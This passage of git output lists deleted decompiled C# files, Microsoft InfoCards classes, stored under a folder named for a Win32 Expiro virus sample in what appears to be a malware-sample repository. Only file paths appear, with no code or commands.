MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AccessibilityApplicationManager.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AccessibilityHelperForVista.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AppliesToBehaviorDecision.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Asn1Utilities.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AsymmetricCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AsyncParams.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/AuditLog.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BeginSelectCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BigInt.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/BrowserPolicyValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CancelAsyncOperationRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Canonicalizers.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ClientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ClientUIRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CloseCryptoHandleRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CommunicationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Constants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CorruptStoreException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CreateCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CredentialSelector.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CredentialSelectorType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CustomTokenProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataAccessException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataBlob.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataRow.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataRowIndexBuffer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DataSource.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DecryptRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DeleteCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DeleteStoreRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DisplayClaim.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DisplayClaimType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/DisplayToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptedData.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptedFileStoreHeader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptedObjectHeader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EncryptionUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/EndSelectCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExceptionList.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExceptionTranslationTable.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExportException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExportFileRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FailedToStartupUIException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FileAccessException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FileDataSource.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FreeIndexList.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetBrowserTokenParameters.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetBrowserTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetCardDetailsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetCertificateRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetCryptoTransformRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetFileNameResult.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetImportFileNameRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetImportedCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetIsBrowserClientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetKeyedHashRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetLedgerRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetPolicyDetailsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetRecipientListRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetRecipientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetUserPreferenceRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GlobalId.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HandleDictionary`1.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashCoreRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashFinalRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IAccessibilityHelper.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ICanonicalizer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ITokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IdentityValidationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportFileRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportStoreException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IndexObject.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IndexedDataBuffer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCard.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardBinaryReader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardClaim.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardClaimCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardListRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardMasterKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardPolicy.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardRequestException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardSchemas.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardService.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardUIAgent.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardX509Validator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardXmlSerializer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IntermediatePolicyValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InvalidCardException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IssuerInformation.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IssuerInformationEntry.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/KeyBlock.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/KeyGenRestartCodes.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LedgerEntry.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LedgerEntryCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LifeTimeMonitor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ListCardsInFileRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ListDependantCardsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LocalIdCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/LogoValidationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ManageRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/MaxSessionCountExceededException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/MergeConflictCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/NativeMcppMethods.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/NativeMethods.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/OptionalRstParameters.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ParsedPolicy.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PasswordValidationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PinProtectionHelper.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Policy.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyUsageContext.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/PolicyValidationException.cs delete mode 100644 